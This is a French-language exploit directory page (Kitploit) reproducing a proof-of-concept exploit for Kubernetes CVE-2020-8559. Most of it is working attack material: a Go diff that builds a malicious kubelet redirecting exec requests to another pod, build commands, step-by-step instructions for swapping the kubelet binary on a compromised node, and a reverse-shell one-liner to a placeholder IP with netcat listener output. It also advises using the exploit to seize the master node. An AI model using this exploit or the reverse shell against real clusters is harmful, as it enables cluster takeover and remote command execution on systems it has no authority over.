Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-8559 — Ceci est un exploit PoC pour la vulnérabilité Kubernetes CVE-2020-8559. | Kitploit
Outils/GitHubGitHub/tdwyer/cve-2020-8559
Escalade de PrivilègesSécurité des ConteneursAnalyse des VulnérabilitésExploitationMouvement LatéralPost-ExploitationTests d'IntrusionSécurité Cloud
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

Ceci est un exploit PoC pour la vulnérabilité Kubernetes CVE-2020-8559.

Voir le dépôt
54142il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept (PoC) de l'exploit Kubernetes CVE-2020-8559

Ceci est uniquement à des fins de démonstration. À utiliser uniquement sur des systèmes sur lesquels vous êtes autorisé à effectuer des actions administratives et à exploiter la CVE-2020-8559.

Ceci est un PoC pour la CVE-2020-8559. Cette vulnérabilité permet à un attaquant qui a obtenu root sur un nœud d'exécuter des commandes sur n'importe quel autre conteneur du cluster, permettant à l'attaquant de prendre le contrôle du nœud maître Kubernetes.

Cette vulnérabilité est due au fait que le serveur API Kubernetes et la commande kubectl suivent les redirections HTTP, combiné au fait que l'API Kubernetes place simplement tous les composants d'une requête API dans l'URL, c'est-à-dire le nom du nœud, le nom du Pod, le nom du conteneur, et même la commande. Par conséquent, si le processus Kubelet répond à /exec, /attach, /portforward ou à toute action resource: proxy avec une redirection HTTP 302 dont l'en-tête Location indique d'exécuter une commande différente sur un nœud différent dans un conteneur différent, le serveur API Kubernetes ou la commande kubectl effectuera volontiers une nouvelle requête pour tout ce qui se trouve dans l'en-tête Location.

Dépôt Kubernetes avec mon code PoC

Vous pouvez télécharger ma version forkée de Kubernetes et basculer sur ma branche pour compiler le binaire kubelet de l'exploit.
Cette branche est basée sur le tag v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Configuration

Ce PoC enverra simplement une redirection HTTP 302 avec un en-tête Location codé en dur. Vous devrez donc modifier kubernetes/pkg/kubelet/server/server.go et mettre à jour host, namespace, pod, container et command.

Astuce de pro : Listez tous les Pods du cluster. Ensuite, configurez ceci pour exécuter des commandes sur un Pod tournant sur le nœud maître Kubernetes afin de lancer un shell inversé vers vous et de prendre le contrôle du cluster.

Compilation

Après avoir configuré l'attaque, compilez un binaire kubelet malveillant.

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Attaque

  1. Obtenez root sur un nœud
  2. Copiez le binaire kubelet malveillant sur le nœud
  3. Arrêtez le processus kubelet et écrasez le binaire avec le binaire malveillant
    Trouvez le PID du processus kubelet
    ps aux |grep kubelet
    Tuez le processus kubelet et copiez le binaire malveillant en place
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Tuez à nouveau le processus kubelet afin qu'il redémarre avec le binaire malveillant
    Trouvez le PID du processus kubelet
    ps aux |grep kubelet
    Tuez le processus kubelet
    sudo kill $PID
  5. S'il est configuré pour attaquer un administrateur utilisant la commande sur son poste de travail local, cette commande doit renvoyer le nom d'hôte du conteneur victime au lieu du conteneur sur lequel elle aurait dû être exécutée.
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

Vous pouvez également lancer un shell inversé vers vous depuis n'importe quel conteneur avec

  1. Lancez netcat en écoute sur votre poste de travail
    nc -lv 4444
  2. Utilisez plutôt cette commande, mais vous devrez l'encoder. Je mettrai à jour la méthode exacte une fois que j'aurai compris.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Succès :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Télécharger l’outil
kubectl